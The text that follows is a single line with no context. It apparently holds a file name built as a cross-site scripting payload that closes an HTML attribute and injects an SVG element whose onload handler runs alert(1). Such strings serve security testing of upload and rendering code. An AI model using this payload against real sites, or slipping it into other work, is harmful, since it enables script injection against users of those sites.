"><svg onload=alert(1)>.png